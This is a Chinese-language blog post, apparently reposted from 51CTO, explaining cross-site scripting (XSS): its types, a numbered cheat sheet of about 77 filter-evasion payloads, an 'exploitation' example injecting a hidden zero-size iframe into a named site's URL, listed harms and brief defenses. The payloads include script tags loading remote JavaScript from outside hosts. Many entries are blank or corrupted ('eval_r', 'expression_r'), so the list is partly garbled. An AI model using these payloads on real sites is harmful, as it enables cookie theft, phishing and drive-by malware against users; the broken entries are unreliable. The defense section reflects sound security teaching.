天天看点

xss跨站漏洞

xss攻击就是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。

一般而言,利用跨站脚本攻击,攻击者可窃会话COOKIE从而窃取网站用户的隐私,包括密码。

XSS攻击使用到的技术主要为HTML和Javascript,也包括VBScript和ActionScript等。XSS攻击对WEB服务器虽无直接危害,但是它借助网站进行传播,使网站的使用用户受到攻击,导致网站用户帐号被窃取,从而对网站也产生了较严重的危害。 

XSS的类型

一种是入库型:即代码被写入数据库

令一种就是非入库型:代码没有被写入数据库

1)恶意用户,在一些公共区域(例如,建议提交表单或消息公共板的输入表单)输入一些文本,这些文本被其它用户看到,但这些文本不仅仅是他们要输入的文本,同时还包括一些可以在客户端执行的脚本。如:

<script>

this.document = "*********";

</script>

2)恶意提交这个表单

3)其他用户看到这个包括恶意脚本的页面并执行,获取用户的cookie等敏感信息。

XSS常见的攻击代码

(1)普通的XSS JavaScript注入

<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>

(2)IMG标签XSS使用JavaScript命令

(3)IMG标签无分号无引号

<IMG alert(‘XSS’)>

(4)IMG标签大小写不敏感

(5)HTML编码(必须有分号)

<IMG alert(“XSS”)>

(6)修正缺陷IMG标签

<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>

(7)formCharCode标签(计算器)

<IMG alert(String.fromCharCode(88,83,83))>

(8)UTF-8的Unicode编码(计算器)

<IMG jav..省略..S')>

(9)7位的UTF-8的Unicode编码是没有分号的(计算器)

(10)十六进制编码也是没有分号(计算器)

<IMG SRC=&#x6A&#x61&#x76&#x61..省略..&#x58&#x53&#x53&#x27&#x29>

(11)嵌入式标签,将Javascript分开

<IMG SRC=”jav ascript:alert(‘XSS’);”>

(12)嵌入式编码标签,将Javascript分开

(13)嵌入式换行符

(14)嵌入式回车

(15)嵌入式多行注入JavaScript,这是XSS极端的例子

<IMG SRC=”alert(‘XSS‘)”>

(16)解决限制字符(要求同页面)

<script>z=’document.’</script>

< script>z=z+’write(“‘</script>

< script>z=z+’<script’</script>

< script>z=z+’ src=ht’</script>

< script>z=z+’tp://ww’</script>

< script>z=z+’w.shell’</script>

< script>z=z+’.net/1.’</script>

< script>z=z+’js></sc’</script>

< script>z=z+’ript>”)’</script>

< script>eval_r(z)</script>

(17)空字符

perl -e ‘print “<IMG java\0script:alert(\”XSS\”)>”;’ > out

(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用

perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out

(19)Spaces和meta前的IMG标签

<IMG SRC=” alert(‘XSS’);”>

(20)Non-alpha-non-digit XSS

(21)Non-alpha-non-digit XSS to 2

< BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>

(22)Non-alpha-non-digit XSS to 3

(23)双开括号

<<SCRIPT>alert(“XSS”);//<</SCRIPT>

(24)无结束脚本标记(仅火狐等浏览器)

<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>

(25)无结束脚本标记2

< SCRIPT SRC=//3w.org/XSS/xss.js>

(26)半开的HTML/JavaScript XSS

< IMG SRC=”alert(‘XSS’)”

(27)双开角括号

<iframe src=http://3w.org/XSS.html <

(28)无单引号 双引号 分号

<SCRIPT>a=/XSS/

alert(a.source)</SCRIPT>

(29)换码过滤的JavaScript

\”;alert(‘XSS’);//

(30)结束Title标签

< /TITLE><SCRIPT>alert(“XSS”);</SCRIPT>

(31)Input Image

< INPUT SRC=”alert(‘XSS’);”>

(32)BODY Image

< BODY BACKGROUND=”alert(‘XSS’)”>

(33)BODY标签

<BODY(‘XSS’)>

(34)IMG Dynsrc

< IMG DYNSRC=”alert(‘XSS’)”>

(35)IMG Lowsrc

< IMG LOWSRC=”alert(‘XSS’)”>

(36)BGSOUND

< BGSOUND SRC=”alert(‘XSS’);”>

(37)STYLE sheet

< LINK REL=”stylesheet” HREF=”alert(‘XSS’);”>

(38)远程样式表

(39)List-style-image(列表式)

<STYLE>li {list-style-image: url(“alert(‘XSS’)”);}< /STYLE><UL><LI>XSS

(40)IMG VBscript

< IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS

(41)META链接url

< META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=alert(‘XSS’);”>

(42)Iframe

< IFRAME SRC=”alert(‘XSS’);”>< /IFRAME>

(43)Frame

< FRAMESET><FRAME SRC=”alert(‘XSS’);”>< /FRAMESET>

(44)Table

< TABLE BACKGROUND=”alert(‘XSS’)”>

(45)TD

< TABLE><TD BACKGROUND=”alert(‘XSS’)”>

(46)DIV background-image

< DIV STYLE=”background-image: url(alert(‘XSS’))”>

(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)

< DIV STYLE=”background-image: url( alert(‘XSS’))”>

(48)DIV expression

< DIV STYLE=”width: expression_r(alert(‘XSS’));”>

(49)STYLE属性分拆表达

<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>

(50)匿名STYLE(组成:开角号和一个字母开头)

<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>

(51)STYLE background-image

< STYLE>.XSS{background-image:url(“alert(‘XSS’)”);}< /STYLE><A CLASS=XSS></A>

(52)IMG STYLE方式

exppression(alert(“XSS”))’>

(53)STYLE background

< STYLE><STYLE type=”text/css”>BODY{url(“alert(‘XSS’)”)}<  /STYLE>

(54)BASE

< BASE HREF=”alert(‘XSS’); //”>

(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS

(56)在flash中使用ActionScrpt可以混进你XSS的代码

a=”get”;

b=”URL(\”";

c=”javascript:”;

d=”alert(‘XSS’);\”)”;

eval_r(a+b+c+d);

(57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上

<HTML xmlns:xss>

<xss:xss>XSS</xss:xss>

< /HTML>

(58)如果过滤了你的JS你可以在图片里添加JS代码来利用

<SCRIPT SRC=””></SCRIPT>

(59)IMG嵌入式命令,可执行任意命令

(60)IMG嵌入式命令(a.jpg在同服务器)

(61)绕符号过滤

(62)

(63)

(64)

(65)

(66)

(67)

(68)URL绕行

(69)URL编码

(70)IP十进制

<A HREF=”http://3232235521″>XSS</A>

(71)IP十六进制

(72)IP八进制

(73)混合编码

<A HREF=”h

tt p://6 6.000146.0×7.147/”">XSS</A>

(74)节省[http:]

< A HREF=”//www.google.com/”>XSS</A>

(75)节省[www]

(76)绝对点绝对DNS

(77)javascript链接

XSS漏洞挖掘及利用

1.发掘

URL中带中文的、或者带URL编码的

http://sqxhsp.com/news.asp?cat_id=11&types=企业新闻

2、利用

<script>alert('baidu.com')</script>

<iframe src=http://baidu .com></iframe>

<iframe src=http://baidu .com width=0 height=0></iframe>

<meta http-equiv="refresh" content="2;url=http://baidu .com">

例:

http://sqxhsp.com/news.asp?cat_id=11&types=企业新闻<iframe%20src=http://%62%61%69%64%75%2E%63%6F%6D%20width=0%20height=0></iframe>

//如果iframe里面包含的就是xss脚本,当访问的时候就会构成挂马攻击或攻击网站

跨站脚本漏洞危害

钓鱼欺骗:最典型的就是利用目标网站的反射型跨站脚本漏洞将目标网站重定向到钓鱼网站,或者注入钓鱼JavaScript以监控目标网站的表单输入,甚至发起基于DHTML更高级的钓鱼攻击方式。

网站挂马:跨站时利用IFrame嵌入隐藏的恶意网站或者将被攻击者定向到恶意网站上,或者弹出恶意网站窗口等方式都可以进行挂马攻击。

身份盗用:Cookie是用户对于特定网站的身份验证标志,XSS可以盗取到用户的Cookie,从而利用该Cookie盗取用户对该网站的操作权限。如果一个网站管理员用户Cookie被窃取,将会对网站引发巨大的危害。

盗取网站用户信息:当能够窃取到用户Cookie从而获取到用户身份使,攻击者可以获取到用户对网站的操作权限,从而查看用户隐私信息。

垃圾信息发送:比如在SNS社区中,利用XSS漏洞借用被攻击者的身份发送大量的垃圾信息给特定的目标群。

劫持用户Web行为:一些高级的XSS攻击甚至可以劫持用户的Web行为,监视用户的浏览历史,发送与接收的数据等等。

XSS蠕虫:XSS 蠕虫可以用来打广告、刷流量、挂马、恶作剧、破坏网上数据、实施DDoS攻击等。

跨站脚本漏洞解决方案

检查变量是否正确初始化并明确变量类型

不仅要验证数据的类型,还要验证其格式、长度、范围和内容。

不要仅仅在客户端对数据做HTML标签转义以及过滤单引号,双引号等危险字符,关键的过滤步骤也应该在服务端进行。

对输出到页面的数据也要做安全检查,数据库里的值有可能会在一个大网站的多处都有输出,即使在输入做了编码等操作,在各处的输出点时也要进行安全检查。

在发布应用程序之前测试所有已知的威胁。

     本文转自Tar0 51CTO博客,原文链接:http://blog.51cto.com/tar0cissp/1271623,如需转载请自行联系原作者

继续阅读